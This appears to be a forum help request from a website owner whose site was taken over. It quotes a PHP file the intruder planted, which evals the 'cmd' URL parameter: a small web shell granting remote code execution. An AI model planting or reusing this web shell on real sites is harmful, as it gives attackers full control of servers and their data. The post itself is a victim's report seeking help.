someone has fully access to my site without permissions

Someone has full access to my website he can delete files create files and he creates files that has some code in it.

i tried changing my web ftp client password but he still can do it i tried scanning for xss vulnerabilities but there are none.

<?php
include('../class/include.php');
if(isset($_GET["cmd"]))
{
    echo eval($_GET["cmd"]);
}
?>

i dont know what this does he fully wiped my page and created tons of files with this code. i tried everything from changing password from my ftp client to everything